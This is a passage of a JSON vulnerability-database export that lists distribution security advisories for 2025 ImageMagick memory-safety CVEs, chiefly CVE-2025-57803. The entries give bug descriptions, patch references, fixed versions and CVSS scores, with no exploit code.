version.(CVE-2025-57803)","status":"published","published":"2025-09-05T11:09:16Z","modified":"2026-08-18T01:18:11.193183992Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:43.127925Z"},{"id":"OESA-2025-2197","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, ImageMagick is vulnerable to heap-buffer overflow read around the handling of images with separate alpha channels when performing image magnification in ReadOneMNGIMage. This can likely be used to leak subsequent memory contents into the output image. This issue has been patched in version 7.1.2-1.(CVE-2025-55004)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, when preparing to transform from Log to sRGB colorspaces, the logmap construction fails to handle cases where the reference-black or reference-white value is larger than 1024. This leads to corrupting memory beyond the end of the allocated logmap buffer. This issue has been patched in version 7.1.2-1.(CVE-2025-55005)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, the magnified size calculations in ReadOneMNGIMage (in coders/png.c) are unsafe and can overflow, leading to memory corruption. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55154)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, there is undefined behavior (function-type-mismatch) in splay tree cloning callback. This results in a deterministic abort under UBSan (DoS in sanitizer builds), with no crash in a non-sanitized build. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55160)\n\nA vulnerability classified as problematic was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software).The manipulation of the argument width/height with an unknown input leads to a unknown weakness. The CWE definition for the vulnerability is CWE-369. The product divides a value by zero.As an impact it is known to affect availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 5f0bcf986b8b5e90567750d31a37af502b73f2af is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55212)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software). It has been classified as critical.CWE is classifying the issue as CWE-123. Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.This is going to have an impact on confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 439b362b93c074eea6c3f834d84982b43ef057d5 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55298)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 on 32-bit (Image Processing Software). It has been rated as critical.Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().Impacted is confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 2c55221f4d38193adcb51056c14cf238fbcc35d7 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-57803)","status":"published","published":"2025-09-05T11:09:16Z","modified":"2026-08-18T01:18:11.184612625Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:43.127925Z"},{"id":"OESA-2025-2198","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, the magnified size calculations in ReadOneMNGIMage (in coders/png.c) are unsafe and can overflow, leading to memory corruption. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55154)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, there is undefined behavior (function-type-mismatch) in splay tree cloning callback. This results in a deterministic abort under UBSan (DoS in sanitizer builds), with no crash in a non-sanitized build. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55160)\n\nA vulnerability classified as problematic was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software).The manipulation of the argument width/height with an unknown input leads to a unknown weakness. The CWE definition for the vulnerability is CWE-369. The product divides a value by zero.As an impact it is known to affect availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 5f0bcf986b8b5e90567750d31a37af502b73f2af is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55212)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software). It has been classified as critical.CWE is classifying the issue as CWE-123. Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.This is going to have an impact on confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 439b362b93c074eea6c3f834d84982b43ef057d5 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55298)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 on 32-bit (Image Processing Software). It has been rated as critical.Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().Impacted is confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 2c55221f4d38193adcb51056c14cf238fbcc35d7 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-57803)","status":"published","published":"2025-09-05T11:09:16Z","modified":"2026-08-18T01:18:11.161166771Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:43.127925Z"},{"id":"OESA-2025-2247","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, ImageMagick is vulnerable to heap-buffer overflow read around the handling of images with separate alpha channels when performing image magnification in ReadOneMNGIMage. This can likely be used to leak subsequent memory contents into the output image. This issue has been patched in version 7.1.2-1.(CVE-2025-55004)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, when preparing to transform from Log to sRGB colorspaces, the logmap construction fails to handle cases where the reference-black or reference-white value is larger than 1024. This leads to corrupting memory beyond the end of the allocated logmap buffer. This issue has been patched in version 7.1.2-1.(CVE-2025-55005)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, the magnified size calculations in ReadOneMNGIMage (in coders/png.c) are unsafe and can overflow, leading to memory corruption. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55154)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, there is undefined behavior (function-type-mismatch) in splay tree cloning callback. This results in a deterministic abort under UBSan (DoS in sanitizer builds), with no crash in a non-sanitized build. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.(CVE-2025-55160)\n\nA vulnerability classified as problematic was found in ImageMagick up to 6.9.13-27/7.1.2-1 (Image Processing Software).The manipulation of the argument width/height with an unknown input leads to a unknown weakness. The CWE definition for the vulnerability is CWE-369. The product divides a value by zero.As an impact it is known to affect availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 5f0bcf986b8b5e90567750d31a37af502b73f2af is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-55212)\n\nA vulnerability was found in ImageMagick up to 6.9.13-27/7.1.2-1 on 32-bit (Image Processing Software). It has been rated as critical.Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().Impacted is confidentiality, integrity, and availability.Upgrading to version 6.9.13-28 or 7.1.2-2 eliminates this vulnerability. The upgrade is hosted for download at github.com. Applying the patch 2c55221f4d38193adcb51056c14cf238fbcc35d7 is able to eliminate this problem. The bugfix is ready for download at github.com. The best possible mitigation is suggested to be upgrading to the latest version.(CVE-2025-57803)\n\nImageMagick is free and open-source software used for editing and manipulating digital images. ImageMagick versions lower than 14.8.2 include  insecure functions: SeekBlob(), which permits advancing the stream offset beyond the current end without increasing capacity, and WriteBlob(), which then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required. This is fixed in version 14.8.2.(CVE-2025-57807)","status":"published","published":"2025-09-12T11:09:19Z","modified":"2026-08-18T01:19:09.74502985Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"RHSA-2025:16313","title":"Red Hat Security Advisory: ImageMagick security update","status":"published","published":"2025-09-22T10:02:08Z","modified":"2026-08-07T10:18:42Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:16.096024Z"},{"id":"UBUNTU-CVE-2025-57803","description":"ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.","status":"published","published":"2025-08-26T18:15:00Z","modified":"2026-04-22T16:08:33.364051Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:50.817402Z"},{"id":"CLSA-2025-1758195721","title":"ImageMagick: Fix of 4 CVEs","description":"- CVE-2025-55154: fix integer overflows in MNG magnification\n- CVE-2025-55212: fix division by zero in ThumbnailImage\n- CVE-2025-57803: fix 32-bit integer overflow when writing BMP scanline stride\n- CVE-2025-55298: fix format string bug leading to RCE or heap overflow","status":"published","published":"2025-09-18T11:42:05Z","modified":"2026-10-21T10:47:55.631447009Z","updated_at":"2026-11-02T15:43:42.427288Z"},{"id":"CLSA-2025-1759856402","title":"Fix CVE(s): CVE-2025-57803","description":"   * SECURITY UPDATE: integer Overflow in BMP Encoder\n     - debian/patches/CVE-2025-57803.patch: Fix buffer overflow issue in BMP\n       decoder caused by insufficient memory allocation\n     - CVE-2025-57803","status":"published","published":"2025-10-07T17:00:07Z","modified":"2026-06-04T10:04:10.404322Z","updated_at":"2026-11-02T15:43:42.427288Z"},{"id":"CLSA-2025-1760019012","title":"Fix CVE(s): CVE-2025-57803","description":"   * SECURITY UPDATE: 32-bit Integer Overflow in BMP Encoder\n     - debian/patches/CVE-2025-57803.patch: Fix buffer overflow issue in BMP\n       decoder caused by insufficient memory allocation\n     - CVE-2025-57803","status":"published","published":"2025-10-09T14:10:16Z","modified":"2026-06-04T10:04:01.932059Z","updated_at":"2026-11-02T15:43:42.427288Z"},{"id":"CLSA-2025-1760023801","title":"Fix CVE(s): CVE-2025-57803","description":"   * SECURITY UPDATE: 32-bit integer overflow in BMP encoder allows attacker-\n     controlled heap corruption\n     - debian/patches/CVE-2025-57803.patch: Fix buffer overflow issue in BMP\n       decoder caused by insufficient memory allocation\n     - CVE-2025-57803","status":"published","published":"2025-10-09T15:30:09Z","modified":"2026-06-04T10:03:33.506027Z","updated_at":"2026-11-02T15:43:42.427288Z"},{"id":"CLSA-2026-1776170814","title":"ImageMagick: Fix of CVE-2025-57803","description":"- CVE-2025-57803: fix integer overflow in BMP reader stride computation","status":"published","published":"2026-04-14T12:46:58Z","modified":"2026-06-01T00:33:21.521121854Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1776171379","title":"ImageMagick: Fix of CVE-2025-57803","description":"- CVE-2025-57803: fix integer overflow in BMP reader stride computation","status":"published","published":"2026-04-14T12:56:24Z","modified":"2026-06-01T00:33:23.439327184Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1776171616","title":"ImageMagick: Fix of CVE-2025-57803","description":"- CVE-2025-57803: fix integer overflow in BMP reader stride computation","status":"published","published":"2026-04-14T13:00:21Z","modified":"2026-06-01T00:33:14.600098157Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1776178825","title":"Fix of 8 CVEs","description":"   * SECURITY UPDATE: fix vulnerability in stream handling\n     - debian/patches/CVE-2025-53019.patch: fix vulnerability in stream handling\n     - CVE-2025-53019\n   * SECURITY UPDATE: fix integer overflow in resize\n     - debian/patches/CVE-2025-55212.patch: fix integer overflow in resize\n     - CVE-2025-55212\n   * SECURITY UPDATE: fix heap-based buffer overflow in image processing\n     - debian/patches/CVE-2025-55298.patch: fix heap-based buffer overflow in image processing\n     - CVE-2025-55298\n   * SECURITY UPDATE: fix buffer overflow in BMP coder\n     - debian/patches/CVE-2025-57803.patch: fix buffer overflow in BMP coder\n     - CVE-2025-57803\n   * SECURITY UPDATE: fix vulnerability in PNG coder\n     - debian/patches/CVE-2025-55154.patch: fix vulnerability in PNG coder\n     - CVE-2025-55154\n   * SECURITY UPDATE: fix buffer overflow in BMP coder on 32-bit systems\n     - debian/patches/CVE-2025-62171.patch: fix buffer overflow in BMP coder on 32-bit systems\n     - CVE-2025-62171\n   * SECURITY UPDATE: fix stack overflow via infinite recursion in MSL and SVG coders\n     - debian/patches/CVE-2025-68618.patch: fix stack overflow via infinite recursion in MSL and SVG coders\n     - CVE-2025-68618\n   * SECURITY UPDATE: fix denial of service in SVG coder\n     - debian/patches/CVE-2025-69204.patch: fix denial of service in SVG coder\n     - CVE-2025-69204","status":"published","published":"2026-04-14T15:00:30Z","modified":"2026-06-04T10:04:20.383255891Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"DLA-4297-1","title":"imagemagick - security update","status":"published","published":"2025-09-10T00:00:00Z","modified":"2026-03-09T02:10:24.507352Z","updated_at":"2026-11-02T15:46:12.7027Z"},{"id":"DSA-5997-1","title":"imagemagick - security update","status":"published","published":"2025-09-12T00:00:00Z","modified":"2026-03-09T02:11:34.257861Z","updated_at":"2026-11-02T15:46:18.296714Z"},{"id":"openSUSE-SU-2025:15498-1","title":"ImageMagick-7.1.2.2-2.1 on GA media","description":"These are all security issues fixed in the ImageMagick-7.1.2.2-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-08-28T00:00:00Z","modified":"2026-03-23T04:53:51.624559Z","updated_at":"2026-11-02T16:58:37.810934Z"},{"id":"openSUSE-SU-2025:20162-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-62594: unsigned underflow and division-by-zero can lead to OOB pointer arithmetic and process crash\n  (bsc#1252749).\n- CVE-2025-57807: BlobStream Forward-Seek Under-Allocation (bsc#1249362).\n- CVE-2025-62171: incomplete fix for integer overflow in BMP Decoder (bsc#1252282).\n- CVE-2025-55298: format string bug vulnerability can lead to heap overflow (bsc#1248780).\n- CVE-2025-57803: 32-bit integer overflow can lead to heap out-of-bounds (OOB) write (bsc#1248784).\n- CVE-2025-55212: division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to\n  `montage -geometry` (bsc#1248767).\n","status":"published","published":"2025-12-15T09:55:25Z","modified":"2026-03-23T04:54:19.218226Z","updated_at":"2026-11-02T16:58:38.101535Z"},{"id":"ROOT-OS-DEBIAN-12-CVE-2025-57803","title":"CVE-2025-57803 in rootio-imagemagick - Patched by Root","description":"Root has patched CVE-2025-57803 in the rootio-imagemagick package for Root:Debian:12. Multiple fixed versions available.","status":"withdrawn","published":"2025-08-28T11:46:48Z","modified":"2026-04-29T14:00:37.781221Z","updated_at":"2026-11-02T15:53:31.514195Z"},{"id":"ROOT-OS-DEBIAN-13-CVE-2025-57803","title":"CVE-2025-57803 in rootio-imagemagick - Patched by Root","description":"Root has patched CVE-2025-57803 in the rootio-imagemagick package for Root:Debian:13. Multiple fixed versions available.","status":"withdrawn","published":"2025-09-11T06:48:13Z","modified":"2026-05-25T14:01:08.678718021Z","updated_at":"2026-11-02T15:53:33.153539Z"},{"id":"SUSE-SU-2025:03113-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-55004: Fixed heap buffer over-read in in ReadOneMNGIMage when processing images with separate alpha channels\n  (bsc#1248076).\n- CVE-2025-55005: Fixed heap buffer overflow when transforming from Log to sRGB colorspaces (bsc#1248077).\n- CVE-2025-55154: Fixed integer overflow when performing magnified size calculations in ReadOneMNGIMage can lead to\n  out-of-bounds write (bsc#1248078).\n- CVE-2025-55160: Fixed undefined behavior due to function-type-mismatch in CloneSplayTree (bsc#1248079).\n- CVE-2025-55212: Fixed division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to\n  `montage -geometry` (bsc#1248767).\n- CVE-2025-55298: Fixed heap overflow due to format string bug vulnerability (bsc#1248780).\n- CVE-2025-57803: Fixed heap out-of-bounds (OOB) write due to 32-bit integer overflow (bsc#1248784).\n","status":"published","published":"2025-09-09T10:25:16Z","modified":"2026-02-04T03:13:13.979667Z","updated_at":"2026-11-02T15:53:57.111474Z"},{"id":"SUSE-SU-2025:03150-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-55005: Fixed heap buffer overflow when transforming from Log to sRGB colorspaces (bsc#1248077).\n- CVE-2025-55154: Fixed integer overflow when performing magnified size calculations in ReadOneMNGIMage (bsc#1248078).\n- CVE-2025-55160: Fixed undefined behavior due to function-type-mismatch in CloneSplayTree (bsc#1248079).\n- CVE-2025-55212: Fixed division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to\n  `montage -geometry` (bsc#1248767).\n- CVE-2025-55298: Fixed heap overflow due to format string bug vulnerability (bsc#1248780).\n- CVE-2025-57803: Fixed heap out-of-bounds (OOB) write due to 32-bit integer overflow (bsc#1248784).\n","status":"published","published":"2025-09-10T17:58:50Z","modified":"2026-03-23T04:50:27.339192Z","updated_at":"2026-11-02T15:53:57.111474Z"},{"id":"SUSE-SU-2025:03151-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-55004: Fixed heap buffer over-read in in ReadOneMNGIMage when processing images with separate alpha channels\n  (bsc#1248076).\n- CVE-2025-55005: Fixed heap buffer overflow when transforming from Log to sRGB colorspaces (bsc#1248077).\n- CVE-2025-55154: Fixed integer overflow when performing magnified size calculations in ReadOneMNGIMage (bsc#1248078).\n- CVE-2025-55160: Fixed undefined behavior due to function-type-mismatch in CloneSplayTree (bsc#1248079).\n- CVE-2025-55212: Fixed division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to\n  `montage -geometry` (bsc#1248767).\n- CVE-2025-55298: Fixed heap overflow due to format string bug vulnerability (bsc#1248780).\n- CVE-2025-57803: Fixed heap out-of-bounds (OOB) write due to 32-bit integer overflow (bsc#1248784). \n","status":"published","published":"2025-09-10T18:01:34Z","modified":"2026-03-23T04:49:55.03383Z","updated_at":"2026-11-02T15:53:57.111474Z"},{"id":"SUSE-SU-2025:03152-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-55004: Fixed heap buffer over-read in in ReadOneMNGIMage when processing images with separate alpha channels\n  (bsc#1248076).\n- CVE-2025-55005: Fixed heap buffer overflow when transforming from Log to sRGB colorspaces (bsc#1248077).\n- CVE-2025-55154: Fixed integer overflow when performing magnified size calculations in ReadOneMNGIMage (bsc#1248078).\n- CVE-2025-55160: Fixed undefined behavior due to function-type-mismatch in CloneSplayTree (bsc#1248079).\n- CVE-2025-55212: Fixed division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to\n  `montage -geometry` (bsc#1248767).  \n- CVE-2025-55298: Fixed heap overflow due to format string bug vulnerability (bsc#1248780).\n- CVE-2025-57803: Fixed heap out-of-bounds (OOB) write due to 32-bit integer overflow (bsc#1248784).\n    \nOther fixes:  \n\n- Fixed output file placeholders (bsc#1247475).\n","status":"published","published":"2025-09-10T18:04:37Z","modified":"2026-03-23T04:50:27.659422Z","updated_at":"2026-11-02T15:53:57.111474Z"},{"id":"SUSE-SU-2025:03164-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-55004: Fixed heap buffer over-read in in ReadOneMNGIMage when processing images with separate alpha channels\n  (bsc#1248076).\n- CVE-2025-55005: Fixed heap buffer overflow when transforming from Log to sRGB colorspaces (bsc#1248077).\n- CVE-2025-55154: Fixed integer overflow when performing magnified size calculations in ReadOneMNGIMage (bsc#1248078).\n- CVE-2025-55160: Fixed undefined behavior due to function-type-mismatch in CloneSplayTree (bsc#1248079).\n- CVE-2025-55212: Fixed division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to\n  `montage -geometry` (bsc#1248767).\n- CVE-2025-55298: Fixed heap overflow due to format string bug vulnerability (bsc#1248780).\n- CVE-2025-57803: Fixed heap out-of-bounds (OOB) write due to 32-bit integer overflow (bsc#1248784).  \n    \nOther fixes:  \n\n- Fixed output file placeholders (bsc#1247475).\n","status":"published","published":"2025-09-11T11:06:33Z","modified":"2026-02-04T03:48:07.965601Z","updated_at":"2026-11-02T15:53:57.111474Z"},{"id":"SUSE-SU-2025:21211-1","title":"Security update for ImageMagick","description":"This update for ImageMagick fixes the following issues:\n\n- CVE-2025-62594: unsigned underflow and division-by-zero can lead to OOB pointer arithmetic and process crash\n  (bsc#1252749).\n- CVE-2025-57807: BlobStream Forward-Seek Under-Allocation (bsc#1249362).\n- CVE-2025-62171: incomplete fix for integer overflow in BMP Decoder (bsc#1252282).\n- CVE-2025-55298: format string bug vulnerability can lead to heap overflow (bsc#1248780).\n- CVE-2025-57803: 32-bit integer overflow can lead to heap out-of-bounds (OOB) write (bsc#1248784).\n- CVE-2025-55212: division-by-zero in ThumbnailImage() when passing a geometry string containing only a colon to\n  `montage -geometry` (bsc#1248767).\n","status":"published","published":"2025-12-15T09:56:13Z","modified":"2026-03-23T04:51:15.986283Z","updated_at":"2026-11-02T15:54:00.344164Z"},{"id":"USN-7812-1","title":"imagemagick vulnerabilities","description":"Woojin Park, Hojun Lee, Yougin Won and Siyeon Han discovered that\nImageMagick did not properly sanitize image file names. An attacker could\npossibly use this issue to cause a denial of service, obtain sensitive\ninformation, or execute arbitrary code. (CVE-2025-55298)\n\nLumina Mescuwa discovered that ImageMagick did not properly handle memory\nwhen encoding BMP images. An attacker could possibly use this issue to\ncause ImageMagick to crash, resulting in a denial of service, or possibly\nexecute arbitrary code. (CVE-2025-57803)","status":"published","published":"2025-10-08T17:12:03Z","modified":"2026-06-25T13:32:31.319188459Z","updated_at":"2026-11-02T16:58:21.91885Z"}]}}